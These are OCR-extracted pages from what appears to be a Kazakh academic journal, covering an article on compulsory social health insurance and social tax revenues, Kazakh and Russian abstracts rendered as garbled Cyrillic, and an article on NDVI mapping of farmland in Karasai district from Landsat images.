free medical care. Maximum attention will be paid to detail and optimization by prioritizing and limiting
medical services. In the second stage, a new model of guaranteed free medical care will be presented
simultaneously with the introduction of compulsory social health insurance. This phase will be cha-
racterized by defining the clear boundaries of the state’s obligations under the program and further
ensuring the policy aimed at developing preventive and primary health care. The process will also include
full-scale transition to the health insurance system and its continued development.The third stage will
involve a regular update to the lists of guaranteed free medical care and compulsory social health in-
surance, taking into account developing medical technologies.The healthcare ministry guarantees medical
care will be provided to every person in an emergency situation, as well as for pandemics and diseases that
can result in demographic crises or disability.The detailed list of guaranteed free medical care developed
for the current year is structured, according to the norms of medical care with an emphasis on the pre-
ventive direction of primary health care.In the system of compulsory social health insurance, medical
assistance will be aimed at improving the quality of life of every citizen. The bill introducing the new
model of guaranteed volume of free medical care and the medical benefits package in the compulsory
social health insurance system has been prepared. The bill passed all examination stages [4, p. 222].

From 1 January, 2018 in Kazakhstan was entered compulsory social health insurance (OSMS).
Kazakhstan model of insurance is built on the mutual responsibility of the state, each employer and
citizens. Scientists, practitioners and employees of state departments in charge of medicine, reviewed the
current problems of financing the health care system, the prospects for the introduction of mandatory
social health insurance, the level of professionalism of doctors and many other questions, and their
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solutions. In Kazakhstan was created a Fund of obligatory medical insurance, founder and sole share-
holder of which is the Government. Compulsory social health insurance (OSMS) are implemented to
ensure financial sustainability of the health system, development of competition and improvement of
quality of care. With the conduct of insurance in society was created a new paradigm of relations between
the citizen and the state in matters of health that assumes joint responsibility for the health of everyone:
system of mandatory medical insurance. That this time the system will not allow failure, as it was in the
late 90’s, are sure foreign experts. In the grandiose project considered as shortcomings of the past and
international best practices. For example, Sh. K. Abikenova and G. T. Aitkenovanoted that all risks com-
pletely thought out [6, p. 135]. The main payer of contributions in Kazakhstan is the state — contributions
from Treasury will cover more than half of the total population. This also includes registered unemployed
people.

L. G. Baranovaandothers determine Compulsory health insurance as the main implementations of
2017 in Kazakhstan. If earlier health insurance for many years operated in the category as voluntary, the
introduction of compulsory health insurance in Kazakhstan bears a tremendous change. The system of
compulsory health insurance will help Kazakhstan keep pace with the times, as well as stimulate further
development of the insurance market. After all, it is not a secret for anyone that the developed countries of
the world practice health insurance, and is a major part of life [4, p. 36].

Thus, in our opinion, social tax is one of the few examples of a tax that the state really needs, the state
of which the society must constantly monitor (figure 4).
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Figure 4 — Dynamics of the Receipt of Social Tax in the State Budget, billion tenge

Out-patient and polyclinic care for socially significant diseases, diseases that are dangerous to others,
according to the list determined by the authorized body, as well as persons who do not have the right to
medical care in the system of compulsory social health insurance in accordance with the Law of the
Republic of Kazakhstan “On compulsory social health insurance”, which includes: primary; consultative
and diagnostic assistance by the referral of a specialist in primary health care and specialized specialists
[7, p- 122].

At the same time, from the end of 2009, the increase in the amount of social tax revenues to the
budget of the Republic of Kazakhstan from 232.8 billion tenge reached 576.6 billion tenge; in 2017, in
average was increased by 12.0% per year. This situation makes it possible to increase spending on the
social sphere at the expense of the social tax itself.

Consider the change in the proportional rate of social tax in the structure of tax revenues over the past
ten years (figure 6).

Inpatient care: planned inpatient care only for socially significant diseases, diseases that pose a
danger to others, according to the list determined by the authorized body, by the referral of a specialist in
primary health care or a medical organization within the planned number of hospitalization cases deter-
mined by the authorized body; for emergency indications - regardless of the referral [8].
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Figure 6 — Changes in Social Tax Revenue in the Structure of Tax Revenues, in Percentage Terms

The National Fund of the Republic of Kazakhstan directly depends on the conjuncture of world prices
for raw materials; this fact is responsible for the dynamics of the fund’s revenues (figure 7) [9]. The State
Social Insurance Fund of the Republic of Kazakhstan is the direct executor of the mandatory social
insurance system responsible for the safety and targeted use of social contributions. The dynamics of
receipts of social allocations in the SSPF is shown in figure 8 [10].

In the conclusion we would like to note, thatout-patient and polyclinic care (except for medical care
for socially significant diseases, diseases that are dangerous to others, according to the list determined by
the authorized body), including: primary health care, consultative and diagnostic assistance by the referral
of a specialist in primary health care and specialized specialists. In general, the system of compulsory
social insurance in the Republic of Kazakhstan at the current stage of development has achieved signi-
ficant positive results, but still requires the elaboration of mechanisms for further improvement with the
view to improve the quality of life of the citizens.
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Figure 7 — Dynamics of Receipts of the National Fund of the Republic of Kazakhstan, mln. tenge

300 000,00 v
250 000,00 1
200 000,00 1
150 000,00 14
100 000,00 -
50 000,00 -
0,00 T T T T T T T T T f
2008 2009 2010 2011 2012 2013 2014 2015 2016 2017

Figure 8 — Dynamics of Receipts of Social Deductions
in the State Fund of Social Insurance of the Republic of Kazakhstan, mln. tenge

REFERENCES

[1] Omirbayev S.M. Finance. Textbook for the students-economists. Astana, 2003. 385 p.

(in Rus.).

[2] Taxes Law / Edited by S. G. Pepeliaev. M.: Invest-Fund, 1995. 197 p. (in Rus.).

[3] Taxes, Taxation and Tax Legislation / Edited by E. N. Evstigneev. M.: Science, 2002. 410 p. (in Rus.).

[4] Baranova L.G., Vrublevskaya O.V., Kosareva T.E., Jurinova L.A. Budget processin Russia Federation. M.: Economy,
1998. 297 p. (in Rus.).

[5] Adrian Sinfield. Fiscal Welfare. Routledge Handbooks // http://dx.doi.org/10.4324/97802030884229.ch3 (in Eng.).

[6] Abikenova Sh.K., Aitkenova G.T. One of the measures for prevention of accidents in the enterprise — increase
motivation of employees to work safety // Bulletin of National Academy of Sciences of the Republic of Kazakhstan. 2017. Vol. 1.
P. 135-140. http://dx.doi.org/10.32014/2018.2518-1467 (in Eng.).

[7] Espenbetova Zh.X., Shaichy R.T., Tanabayeva A.E. Regulation oflabor of the workers in the dangerous conditions in the
Republic of Kazakhstan // Bulletin of National Academy of Sciences of the Republic of Kazakhstan. 2017. Vol. 4. P. 122-124 //
http://dx.doi.org/10.32014/2018.2518-1467 (in Eng.).

[8] Adema W., Fron P., Ladaique M. (2011). Is the European Welfare State Really More Expensive?: Indicators on Social
Spending, 1980-2012; and a Manual to the OECD Social Expenditure Database (SOCX) // OECD Social, Employment and
Migration Working Papers, N 124. OECD Publishing. http://dx.doi.org/10.1787/5kg2d2d4pbf0-en. (in Eng.).

— 177T——




Becmuux Hayuonanvrot akademuu nayk Pecnybnuku Kazaxcman

[9] Kazakhstan: Crisis 2007-2009. Institute of Economy RAS. 13.08.2013. «Economy» (in Eng.).
[10] Akishev D. Timely measures by NBK, FSA and Government ensured a “soft” landing of domestic banks // Business
Kazakhstan. 09.01.2009 (in Rus.).

A. A. Kycaiibinosa', Banbaemap Kosaoscku®, U. I1. Tepamenko’

'1I. Vonuxaxos aTbinnarsl Kekineray MemiiekeTTik yuusepcuteti, Kasakcra,
’Bapmua xoHe Masypy yauBepcuterti, [lonpma,
3®. M. JlocToeBckuit atbiHarsl OMCK MEMJIEKETTIK MeJarOrHKAITbIK yHuBepcureTi, Poccus

MIHAETTI ©JIEYMETTIK CAKTAHZIBIPY BOMBIHIIIA
KIPICTEP MEH HIBIFBIHJAAPIbBIH ’KAU-KYUIH CAJIBICTBIPMAJIBI TAJIJAY

Annoranus. Kazakcran PecnyOiiMKachIHBIH MEMJICKETTIK KIpiCTEp MEH IIBIFBIHIAP KYPBUIBIMBIHIA MIHACTTI
QJIEYMETTIK CaKTaHAbIpY OOMBIHINA KipiCTep MEH LIBIFBIHAAP KYPaMbl KapacThIPbUIFaH. OJIEYMETTIK KOpFay Xyiie-
cinne coHrbl 10 ki1, BipbIHFaii )KUHAKTAYIIbl 3€HHETaKbl KOPBIHBIH COHFBI 4 JKbIJI OOMFBI XaJBIKTBI MIHIETTI dJIey-
METTIK CaKTaHIbIpy OOWBIHIIA KipiCTEp MEH LIBIFBIHAAPIBIH arbIMIarbl JKal-KyHiHEe CalbICTBIpMalbl Tajiay XKa-
canrad. CaJbIKTapblH TEOPUSUIBIK KIaCCH(UKAIMACHIHA COMKEC 9JEyMETTIK CaJIBIKTBIH MaHBI3ABUIBIFEI MEH el
Typajibl aBTOPJIBIK K@3Kapac YCHIHBUIFAH. 3epTTEIII OTBIPFaH CaHATTAPJIbIH OH XOHE Tepic apeKeTTepiHiH cebenrepi
AHBIKTAJIBII, HOTHIKENIEP alIbIH/Ibl. 3eHHETAKbIMEH KAMCHI3aHABIPY KOFAMHBIH MIHAETTI QJIEYMETTIK CAKTaH BIPY IbIH
Kypamzaac OeiiktepiniH Oipi 60mbin Tadbmanel. OcbFaH OaimaHbICTHl BipblHFall JKUHAKTAYIIE 3eHHETAKbl KOPhIHIA
JKMHAKTAJFAH 3€HHETAaKbl Kapa)KaThIHBIH JUHAMHMKACBHIH Tajjay mnaigansl. BypbiH OONFaH jkeke 3eifHeTakbl KOop-
JapblHAH KYpaJiFaH OVJ1 KOpABIH MEMJIEKETTIK KOp eMecTirine kapamactaH, bJXX3K-narel azamaTTapapiH )KUHAKTAPHI
MEMJIEKET TapamnblHaH OacKapbutabl. MaTepuan rpaduKaNblK XKoHE IMIiHApa KEeCTeIEPMEH TOJBIKTHIPBIIFAH.
KopbIThIHIBIIAM Kene, cepikTecTep i iCKe achlpy apKbUIBI MiHICTTI QJIEYMETTIK CaKTaHIBIPY JKYHECIH KeTUAIpyIiH
KYpaMmbl, peJii, KapXKbUIBIK KaFIaibl, MyMKIHIIKTEeP] Typajbl KOPBITBIHABLIAP JKacalbl.

Tyiiin ce3mep: MeMJIEKETTIK KipicTep, MEMIIEKETTIK LIBIFBIHAAP, SJIEYMETTIK CalbIK, JIEYMETTIK KOpFay, MiH-
JIETTI QJISYMETTIK CaKTaHIBIPY, 9JICyMETTIK KaMCBI3JaHIbIPy, IEYMETTIK KOMEK, EHOCKKe jKapamJibl XaJbIK, dJey-
METTIK TeJIeMJIep, 3eHHETaKbIMEH CaKTaHIbIPY.
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CPABHUTEJIbHBIA AHAJIU3 COCTOSIHUA JJOXO/I0OB U PACXO0/10B
1O OBS3ATEJIBHOMY COLHUAJIBHOMY CTPAXOBAHUIO

AHHOTanus. PaccMOTpeH COCTaB JOXOIOB M PAacXOIOB IO O0S3aTEIBHOMY COIMAIFHOMY CTPaXOBAaHUIO B
CTPYKTYpE TOCYIAapCTBEHHBIX IOXOA0B M pacxomoB PecnyOmuku Kazaxcran. IIpoBereH CpaBHHUTENBHBIA aHAIH3
COBPEMCHHOTO COCTOSHUS JOXOJOB U PAacXOJIOB IO 00S3aTCIIFHOMY COLHAILHOMY CTPaXOBaHHUIO B CHCTEME CO-
UATFHON 3aIIUTHl HaceleHus B AumanazoHe 10-met, mo EquHOMY HaKOMUTETPHOMY NEHCHOHHOMY (OHAY B IHa-
nma3zone 4-x jer. [IpencraBneHo BUACHHE aBTOPOB O 3HAYCHWH W POJIA COIMAIBHOTO HAJoTa B COOTBETCTBHUHU C
TeopeTHyecKoi kimaccuukanueil HamoroB. [lomydeHBI pe3ynbTaThl M OIPENEICHBI TPHYUHBI MTOJMOKUTEITHHONH U
OTPULIATENILHOM JESATENIBHOCTH UCCIIENYyEeMbIX KaTeropuil. IleHcuoHHOe cTpaxoBaHUE SBISIETCS OJHOM M3 COCTaBHBIX
KOMIIOHEHT 0043aTeIhHOTO COIMAFHOTO CTPAaXxOBaHHs 00mecTBa. B 3Toi cBA3M meiaecoo0pa3Ho MPOaHAIN3UPOBATh
JMHAMHUKY 00BbEMOB IIEHCHOHHBIX HAKOIUICHHI B EJMHOM HakonuTelbHOM NEeHCHOHHOM (oHzxe. Hecmotpst Ha TO
00CTOSATENILCTBO, YTO JAaHHBIA ()OHI HE SBJISETCS TOCYAapCTBEHHBIM, OOBCIMHCHHBIC W3 PaHEE CYIIECCTBOBABIIMX
YaCTHBIX MICHCHOHHBIX (YOHI0B HaKoIIcHUs rpakaan B EHII® ckoHIleHTprpOBaHbI B pyKax rocyaapcTea. Marepuain
WJUTIOCTPUPOBAH rpad)iuecKu U YaCTUYHO JIOMOJIHEH TabyuiiamMu. B 3aBepIieHun ciesiaHbl BEIBOJIBI O COCTaBE, POJIH,
(h)MHAHCOBOM IIOJIOKECHHH, BO3MOXKHOCTSX B YJIYYIICHHH JCHCTBYIOIICH CHCTEMBI 00S3aTENBHOTO COIMAIBLHOTO
CTpaxoOBaHUs yYaCTHUKAMU-HUCIIOTHUTEISIMU.

KutioueBble ci10Ba: rocy1apCTBEHHbIE TOXO/bI, TOCYAapCTBEHHBIE PACXO0/Ibl, COUUANIbHBIN HAJOT, COLUAIbHAS
3ammTa, 00sA3aTeNIbHOE COIMATBHOE CTPaxOBaHUE, COIMAIbHOE oOecreueHne, ConrabHasi TOMOIIb, TPYI0CIOCcOo0-
HO€ HaCEJIEHHE, COLIMATIbHBIE BBIIIATHI, IEHCUOHHOE CTPaXxOBaHUE.
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ASSESSMENT OF THE AGRICULTURAL
VEGETATION DYNAMICS
OF THE KARASAI DISTRICT (ALMATY REGION) BASED
ON MULTISPECTRAL IMAGES

Abstract. The article contains the results of research and development, which can be considered as a solution to
the scientific problem concerning the selection and development of methods of decoding the occurring at different
times series of multispectral images for monitoring and evaluation of the dynamics of agricultural plants of Karasai
district of Almaty region.

The methods of pretreatment of multispectral imagery of medium spatial resolution (LANDSAT-7,8) based on
structural and spatial model allows to more efficiently decrypt the agricultural plants of Karasai district of Almaty
region in comparison with the classification of the original zonal images. The reliability of decryption by using the
structural and spatial model is increased by an average of 16%. Experiments on classification of agricultural plants of
Karasai district of Almaty region according to multispectral imagery by means of structural and spatial models have
shown the ability of decrypting alpine forests, mixed forests, bushes that are in the rivers basin and forest covers, cul-
tural lands of gardeners, agricultural lands especially rain-fed and irrigated lands with a sufficient reliability level.
The obtained results of decrypting the agricultural plants according to the occurring at different times multispectral
images LANDSAT-7, 8 provide an ability to create and update maps of vegetation, scale 1: 100 000, and also create
the maps of vegetation dynamics, scale 1: 100 000.

Spectral analysis of agricultural plants of Karasai district of Almaty region showed that the most informative
areas of agricultural land especially the rain fed and irrigated land are green and middle infrared band.

Keywords: LANDSAT-7, 8, vegetation classification, multispectral images.

Introduction. Remote sensing means to obtain information about the state of the Earth's surface
measured at a distance, without a direct contact with the sensor surface, the characteristics of electro-
magnetic radiation.

Since the early 70-ies of our century, remote sensing of the Earth was rapidly developing as a mul-
tidisciplinary field of research in science and practice. Based more than on half a century experience in
aerial photography and thematic use of its results (the classical methods of remote sensing), it is used
today in geography, forestry, agriculture, oceanology and oceanography, while planning the construction
area [1-3].

Since 1980 in Kazakhstan, the remote sensing first was used for topographic and special maps using
satellite images obtained by satellites of the USSR and foreign satellites of France, the United States.
Aerospace methods are used to monitor vegetation cover since 2000.0Over the past decade, a large volume
of work was carried out in the field of remote sensing of vegetation, including forest health assessment,
determining the area of agricultural land, the creation and updating of topographic maps of different
scales [4-6].
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It is known that human activities are accompanied by negative processes like soil erosion, disturbance
of agricultural land, pollution of surface water, etc.This usually leads to serious local and global environ-
mental changes that need to be analyzed and evaluated, and it is necessary to predict their development
with the purpose of comprehensive study of the target earth's surface, and increase of efficiency of using
its natural resources.Aerospace methods make it possible to solve the issues of assessing the dynamics of
the earth's surface, including the dynamics of vegetation [7, 8].

Plants, including agricultural land, are the main type of agricultural resources of Kazakhstan and play
an important role in the economy.But with the increasing versatile anthropogenic influence, agricultural
lands in Kazakhstan strongly change.These changes are displayed on satellite images, respectively, the
relevant one is the development of new ones and adaptation of existing methods, which would allow to
carry out regular monitoring of vegetation, assess and map its dynamics in order to take action for the
conservation and restoration of natural ecosystems.Analysis of the contemporary state of the problem
showed that space multispectral imagery have significant potential for the use in vegetation monito-
ring.Currently, vast amounts of space-based information, which is updated with the new of a period of
several days are accumulated, at the same time in Kazakhstan there is a need in the methods of decoding
satellite images, adapted to the peculiarities of its geographical area, especially for vegetation monitoring.
In the article the questions of the development of new methods ensuring the monitoring of agricultural
vegetation of Karasai districtof Almaty regionaccording to the data of multispectral imagery for assessing
its condition and dynamics [9, 10].

The relevance of the article topic is, thus, conditioned by the unresolved problems of information
support for monitoring of agricultural vegetation of Karasai districtof Almaty regionaccording to the data
of multispectral imagery.

The goal of the study is to solve the urgent problems of adaptation and development of modern
methods of decoding agricultural vegetation of Karasai districtof Almaty region, in order to assess its
dynamics of the occurring at different times space multispectral images.

To achieve this goal it was necessary to solve the following objectives:

— to conduct the data collection and data pre-processing of multispectral imagery in representative
areas of Karasai districtof Almaty region;

— to explore and compare the performance of agricultural vegetation decoding of Karasai districtof
Almaty regionby single-level controlled classification and modern methods of multi-level classification
based on structural and spatial model of the source images;

— to investigate the possibility of developing a new index images for decoding kinds of agricultural
vegetation of Karasai districtof Almaty region.

Materials for the research were the occurring at different time space multispectral imagery from the
satellite LANDSAT 7 and 8, topographic and thematic maps (geographicmaps and vegetation maps).

The subject of the research article is the development of state estimation techniques and dynamics of
agricultural vegetation on a series of multi multispectral images.

Study area. The study area is the territory of Karasai districtof Almaty region (figure 1), which has
an area of2.1 thousand km? [11]. Suitable for agricultural use area of which is 512.3 thousand hectares,
including 49.3 thousand hectares set aside for arable land, 22.1 thousand hectares of pasture and
1.4 thousand hectares of grassland, 13.2 thousand hectares of forests.

South and south - eastern part of the area are occupied by the mountain range (the highlands of the Ili
Alatau mountain), the middle part is a very complex watershed plains and the lower part - a piedmont -
piedmont plain with a general slope to the north.The highest point of the district is located on the source of
the river Aksay, starting with the peak Aydatau having 4029 m, which is covered with ice and snow.The
peak is located near the border with Kyrgyzstan.In the western part of the Ili Alatau mountainthere is a
series of mountains and passes (Ushkonyr, Tikka, Kebezhe, Aygaytas, Kokozek, Koktobe, Kumbel,
Kaskelen and others.), which exceed the 3000 meter mark. Densely populated and mastered density of the
district is located within the 800-1100m height above sea level [12].

Materials and Methods. With regard to the tasks of mapping of vegetation cover of geographic
information systems (GIS) a hardware and software systems are used, the basis of them are digital maps
with attached to them databases.It consists of 2 large blocks: electronic map database and supporting the
functioning of GIS tools.
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Figure 1 — Karasai district of Almaty region

The last one is divided into hardware (computers, local area networks, monitors, printers, plotters,
scanners, GPS-systems, etc.), software (a program for the construction of a GIS-. Maplnfo, ArcView,
ArcInfo, Ergas Imaging, etc.) and human ones ( operators that create and maintain GIS).

Application of GIS for agroecological land evaluation allows you to transfer to a new qualitative
basis for a solution to this complex problem, particularly when designing intensive farming systems and
agricultural technologies, without mentioning the high agro-technologies and adaptive-landscape systems
of agriculture of high accuracy.Creating land valuation basis for precision farming systems is virtually
impossible without the GIS technology. Its most important advantages are as follows:

— ease of processing the large amounts of information. (GIS provides ample opportunities for the
combination, sorting, sample data, easy to calculate the area and outlines the parameters);

— greater clarity of presentation of information achieved by providing a large number of thematic
maps;

— possibility of automation of maps creating process;

— ease of making changes, the ability to create systems of automatic changes to the database;

— possibility of widespread use of information coming from the means of remote sensing (air and
space);

— high precision maps, especially when using global positioning systems (GPS);

— possibility of creating interactive reference and advisory systems;

— convenience of storage, copying, reproduction of the information in any medium, the higher
reliability of information storage.

The use of GIS technology in the preparation of the landscape map is primarily due to the digitization
of cartographic material.Some multiple sampling methods are used, depending on your hardware, software
and staff development.The common position is scanning the topographic base and assigning the coor-
dinates to receive the raster imaging.The choice of the coordinate system depends on the topographic
base.If there is a grid basis, the designing are carried out in the coordinate system of topographic base,
while using GPS-systems the data obtained with the help of GPS-receivers are used [13, 14].

Currently, methods of remote sensing (RS) has been widely used to solve a variety of tasks, including
assessing the vegetation cover condition. Remote sensing of vegetation cover allows to evaluate the dyna-
mics of development and the state of vegetation cover, with varying degrees of generalization of the infor-
mation from global research on the scale of countries, regions and continents to small areas of vegetation.
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One of the modern trends of the use of remote sensing data and best information technology is precision
farming, for the conduct of which the preparation of large-scale NDVI maps are realized.

But the use of remote sensing data to solve practical problems of agrolandscape is still only in the
initial phase of its commercial use.This is connected primarily to the relatively high cost of remote sensing
data and some technical character limitations.Because of this, for our work, we used the free satellite
imagery from http://glovis.usgs.gov/ site, representing the United States Geological Survey archives (Eng.
United States Geological Survey, the USGS abbreviated) (figure 2).

Figure 2 — Search with satellite imagery Glovis directory

In conducting research the images from the spacecraft, Landsat-7 and 8 are used.Viewed image was
acquired in September 1999 and 2015 on the territory of Karasai district of Almaty region. This work
shows a portion of a single image from a series of images from the spacecraft Landsat-7 and 8, where
algorithms NDVI with learningwere used.

All processes related to the processing of satellite imagery we are doing in the software package
ArcGIS 10.1. The ArcGIS software package, available from the ESRI American corporation, provides the
most comprehensive set of features for editing, visualization and processing of remote sensing data (RS)
and their integration into geographic information systems (GIS).A distinctive feature of ArcGIS software
system is an open architecture and the availability of the Python programming language, with which you
can significantly extend the functionality of programs for specialized tasks: automate the existing algo-
rithms, as well as create their own data processing algorithms and perform batch processing of remote
sensing data. The advantages of ArcGIS includes an intuitive ArcToolbox, allowing novice users to
quickly learn all the necessary data processing algorithms.Logic drop-down menus make it easy to find a
function that is needed in the analysis or data processing [15].

Regardless of the task standing before the researcher, the image processing includes the following
processing steps:

— Selection and preparation of images (figure 2);

— channel bonding (figure 3);

— Cut the study area (figure 4);

— classification of NDVI (figure 5);

— processing and interpretation of results (figure 6, 7).

Initially, the images received from the satellite, require calibration, geometric correction, and bright-
ness distortion hardware and coordinate referencing.This process is now well developed. Our task here is
to determine the scale levels and spectral bands.Obviously, with all the choice of variety, there are objec-
tive limitations, such as the technical capabilities of existing imaging systems, the properties of the objects
themselves and transmitting environment, weather conditions, and also features the work of organizations
that prepare the image.

In our case, we must first unite the downloaded multichannel data into a single file. And it gives us
some advantages:

— Data are more convenient to be managed (copied, moved, etc.);

— Data can be visualized in full color (RGB), selecting the desired combination - a combination of
channels;
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— Analysis of the data also can be done on several channels, rather than for each one separately (eg
classification, index calculations, etc.).

To start we upload the individual zones and combine with the commands add data — Open —
ArcToolbox — Data Management Tools — Raster— Raster Processing — Composite Bands (figure 3):

S y - 10 D

Figure 3 — Add the data and their union

Next, we extract their territory of the images using the command ArcToolbox — the Spatial Analyst
Tools — Extraction — Extract byMask (figure 4):

Figure 4 — Remove the territory on the border

After that, we will prepare an image for the classification of NDVI.To do this in ArcGIS-lo, we go
into the Analysis of the image and open the Image Analysis Options.There we make setting on the Red
channel, select Channel 7, and in select Infrared Channel 4, the check mark is put on the output of scien-
tific data.Next we choose the cut satellite images and click on the NDVI symbol.After that, the result
comes out in black and white using Image property — Symbols — The choice of colors (figure 5):

Figure 5 — Classification methods of NDVI

Results and discussion. Development of computer spatial data analysis technologies has resulted in
the current use as object classification of grid cells (matrix), regularly covering the entire territory.Each
cell of the grid has a certain linear size and geographic coordinates.In accordance with the terminology of
K.V. Zworykin [16] the cell may be referred to regional carriers of information. However, in order to
emphasize the indivisibility of this unit, we will use the term - elementary territorial unit [17]. Selecting
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areas on the genetic basis of (mono-, parageneses) begins with the definition of objects and the factors
influencing them.As there is no coordination and subordination between the various factors, the grouping
can be performed on several grounds, regardless.Integrated physical and geographical studies include
three stages: preparation, field and desktop.Due to the increasing technical equipment of expeditions and
the constant improvement of methods of analysis and fieldwork ratio of durations of the three of stages
recent times changes to the side of increasing time spent in pre field and desktop.Their average ratio can
be determined as 2:1:3, whereas previously the ratio was 1:1:2 [18].

Final NDVI map, showing the genesis of morphological characteristics and vegetation patterns, will
be a synthesis of pre-NDVI maps and content information collected in the field.

On the basis of the classification criteria of NDVI and signs of their isolation, the proposed by
V.A. Nikolayev [19], each type was differentiated on the vegetation.To implement this separation as clas-
sification signs VI Kiryushin [20] proposes to use the level of sub-types of soils and sub-plant formations,
which are the major functional components of NDVI systems.Therefore, adhering to these principles, we
have the outline of each vegetation have been clarified in the study region.They are described in detail and
shown in the "Map NDVI of Karasai districtof Almaty regionof the RK» scale 1: 100 000.The total
number of plant cover is divided into 3 classes.As a result, it is shown in comparative tests in 1999 and
2015.2015 was more favorable for agricultural land. By comparing in 1999 agricultural landscapes-
developed a little, it is shown in figure 6.
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Figure 6 — Map fairness of NDVI 1999 and 2015 Karasai district of Almaty region

The results of the development of agricultural land in 1999, the total area was 8399 hectares. Of
these, 5005 ha of rainfed land, 3394 hectares of irrigated land.

The results of development of 2015, performance doubles. The total area was 1986 hectares (figu-
re 7). Of these, 9922 ha are rainfed land, 9064 hectares irrigated land.

Conclusion. Collection and data pre-processing of multispectral imagery of representative areas of
Karasai districtof Almaty region were performed. For processing the data Landsat satellite image and
software maintenance ArcGIS 10.1 was selected; A comparative and data analysis on efficiency of deco-
ding agricultural vegetation of Karasai districtof Almaty regionby single-level controlled classification
and modern methods of multi-level classification based on structural and spatial model of the source
images were carried out. Analysis of these studies were realized according to our order system. First we
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Figure 7 — Map fairness of NDVI and Plot of agricultural land in 1999 and 2015 Karasai district of Almaty region

conducted channel bonding and comparison for decrypting the desired channels. Then, classifications
NDVIwere made. Thereafter, a determination of the dynamics of change, which correspond to the
contours of plant formations was done. As a result, "Demonstration map of NDVI in 1999 and 2015 of
Karasai districtof Almaty region" in the scale of 1: 100,000was compiled; On the basis of the above card
stock materials using GIS technology ArcGIS made electronic versions of "Demonstration map NDVI and
agricultural land of 1999 and 2015 in Karasai district of Almaty region" in the scale of 1: 100,000 were
compiled. This job also required a system and order. First of all, analyzed maps (each separately) were
digitized through a geographic information system to specifically determine the extent of the contour in
differentiated subtypes of agricultural landscapes. Thus, through vegetation the types of agricultural
landwere determined. In conclusion, - In the end, using GIS technology, the electronic version of the
comprehensive maps of agricultural land have been obtained.

The study of agricultural land, consisting of rainfed and irrigated lands has shown that its comparison
of 1999 to 2015 doubled the agricultural landscapes.
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KAPACAM AVJIAHBIHBIH, (AJIMATHI OBJIBICHI) AYBLI TAPYAHIBLIBIK OCIMAIKTEPIHIH
JUHAMUMKACBIH MYJIbTUCIIEKTPAJIbJII BEMHEJIEP HET'I3IHAE BAFAJIAY

AunHoTamus. MakananaAnmMarel 00JbICEIHBIH Kapacail aymaHelHAAFbsl aybUIIAPYalIbUIBIK ©CIMAIKTEPiHIH
JMHAMHUKACHIH Oakpuiay jKoHe Oaranay YIIiH OpTYpi YakbITTBIK cepusuiapia maiina 0oJaThlH MYJIBTHCIICKTPaIbIi
OeliHenepi IIEIIyre apHAIFAaH QICTEP/l TaHJAy JKOHE OHZey OONBIHIIA FHUIBIMHU MPOOJIeMaHbl MIENIyAeri 3epTTey
MEHOHEY HOTIIKENepi KeNTipiireH.

KypbUlbIMIOBIK ~ JKOHE  KCHICTIKTIK ~ MOZETBACP HETi3iHAe OpTa KEHICTIKTIK  aXBIPaTHIMIBUIBIKTHIH
(LANDSAT-7,8) mynpTucreKkTpanbai OecifHedepiH aniplH-alda eHaey omicTepi AimaTel oOmbIchiHBIH Kapacait
ayJIaHBIH/IaFbl ayblI LIAPYallbUIBIK OCIMIKTEPiH OacTanmKpl 30HAIBIK OCHHeepi KiKTeyre KaparaHga THIMIIpeK
Hrerryre MyMkiHaik 6epeni. Jemmdpiaey ceHiMaiTIr KYpbUIBIMIBIK KOHE KEHICTIKTIK MOJENbl MaiilaiaHy apKbLIbl
opta ecemnmen 16%-ra aptanpl. KypbUIbIMIBIK XKOHE KEHICTIKTIK MOJAENbAEpIiNaliaaiaHa OThIPbI, AJIMAThl 00JIbI-
ceiHbIH Kapacail aynaHblHIarbl aybUIIapyallbUIbIK ©CIMIIKTEPiHIH JKIKTedyl OOMBIHIIA IKCIIEPUMEHTTEp aiblli
OpMaHAapbIH, apajiac OpMaHAaplbl, ©3¢H OacCeHHIEpIHIE >XKOHE OpMaH CeKIeNepiHAe, KerajIaHraH jKepiepai,
aybUIIIapyallblIbIK JKepJIepiH, acipece, KOJJIaH CyapbUIMalThIH JKOHE CyapbUIaThIH Xepliepe Aemundpriey JeHreini
JKETKIUTIKTI CeHIMAI. AybUI IIapyaIibUIbIK 6ciMIiKTepin aemmdpieyneH ansiarad HaTwkenepi LANDSAT-7, 8 myinb-
TUCHEKTPAIBII OeHHENep iy op Typii KedeHaepinae OomybiHa coiikec 1:100,000 mMacmiTaOTarbl ©CiMIIKTEp KapTa-
JaphIH Kacayra JXoHE jKaHapTyra, coHpait-ak 1:100,000 macmtabra eciMIIiKTEpIiH MUHAMUKACHIHBIH KapTachIH
JKacayFa MYMKIiHIIK Oepei.

Anmatel oOnpIchiHBIH, Kapacail aymaHBIHOAFBl aybUl IMAPYaIIbUIBIK OCIMIIKTEPIHIH CHEKTPAIIBl TajAaybl
OolibIHINA aybUILIAPYAIIBUIBIK KEPJIEPiHiH, ocipece, KOJIaH CyapbUIMAiThIHKOHE CyapbUIaThIH XKEPIep/iH eH aKia-
paTTaHIbIPbIIFaH aydaHAaphl KAChUI XKOHE OpTalia HH(PAKBI3bUT 00BN TaObLIa bl

Tyiiin ce3nep: LANDSAT-7, 8, eciMIiKTep/IiH KIKTENyi, MyJIbTHCIEKTPaJIb/II TyCiplimMaep.
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OLEHKA TMHAMHUKH CEJILC}(OXO3HFICTBEHHOFI PACTUTEJIBHOCTH
KAPACAUCKOI'O PAUOHA (AJIMATHHCKAS OBJIACTD)
HA OCHOBE MYJIbTUCIEKTPAJIbHBIX U30BPAKEHUI

AHHOTanusl. B cratbe mpezacTaBieHbI pe3yIbTaThl UCCIEAOBAaHUN U Pa3pabOTOK, KOTOPBIE paccMaTpUBAIOCA
KaK pelIeHrne Hay4yHOH MpoOJeMbl, Kacaromeics: Beidopa U pa3paboTKU METOI0B AeMH(PHIPOBAHNE TPOUCXOIAIINX
B Pa3HbIX BPEMECHHBIX PAAAX MYJbTHCIEKTPATIbHBIX M300paKeHUH As1 MOHUTOPHUHTA U OLIEHKH JUHAMHKH CEIbCKO-
X03sCTBEHHBIX pacTeHuit Kapacaiickoro paiiona AJIMaTHHCKOW 00JIacTH.

Meroapl mpeaBapuTeNIbHON 00pabOTKM MYJIBTHCHEKTPAJIBbHBIX WM300paXEHHH CPEIHEro MpoCTPaHCTBEHHOTO
paspemennst (LANDSAT-7,8) Ha OCHOBE CTPYKTYpHOH M HPOCTPAHCTBEHHOW MOJEIH ITO3BOJISIOT Oonee 3dpdekTHs-
